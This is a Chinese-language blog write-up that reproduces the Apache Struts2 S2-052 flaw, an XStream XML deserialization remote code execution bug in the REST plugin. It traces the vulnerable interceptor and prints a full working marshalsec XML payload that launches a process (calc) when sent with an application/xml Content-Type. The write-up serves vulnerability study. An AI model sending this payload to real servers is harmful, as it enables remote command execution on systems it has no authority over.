S2-052

前言

    S2-052的RCE漏洞和以前的有些不同,不再是ognl表达式注入了,而是xml反序列化漏洞导致的RCE(另外还有S2-055漏洞是fastjson的反序列化漏洞)。我复现的时候遇到一个坑,导致一直复现不成功,就是必须要jdk1.8以上的版本才行。

正文

    之前讲过执行action之前会先经过一些内置的拦截器,使用rest插件之后也是类似的,只不过经过的拦截器有变化了,如下图:

这次的漏洞就出现在ContentTypeInterceptor中,debug进去看看:

可以看到,通过getHandlerForRequest获得一个Handler后,调用handler的toObject方法,而输入的参数就是请求body,跟进getHandlerForRequest:

发现是通过请求头Content-Type来选择对应的Handler的,这是的漏洞就出现在,当Content-Type时会选用XStreamHandler,调用它的toObject()

 

很明显,调用了Xstream的fromXML方法,导致了xml的反序列化漏洞。

发送一个post请求,修改请求头信息为Content-Type: application/xml,发送post数据就是POC了,使用marshalsec工具(https://github.com/mbechler/marshalsec)生成如下poc:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

    目前对xml反序列化漏洞的poc还没有了解过,所以这里就不深入了,以后有机会学习下。目前感觉marshalsec就是和ysoserial有点类似,集成了一些反序列化的poc,使用者根据场景的不同选择生成不同的poc。只不过marshalsec是针对xml的反序列化的,而ysoserial是针对纯java反序列化漏洞的(不知道怎么表达!!)

会报500但是命令还是执行了。

参考文章

https://www.freebuf.com/vuls/147170.html

https://github.com/mbechler/marshalsec

https://cwiki.apache.org/confluence/display/WW/S2-052

原文地址:https://www.cnblogs.com/jinqi520/p/10815377.html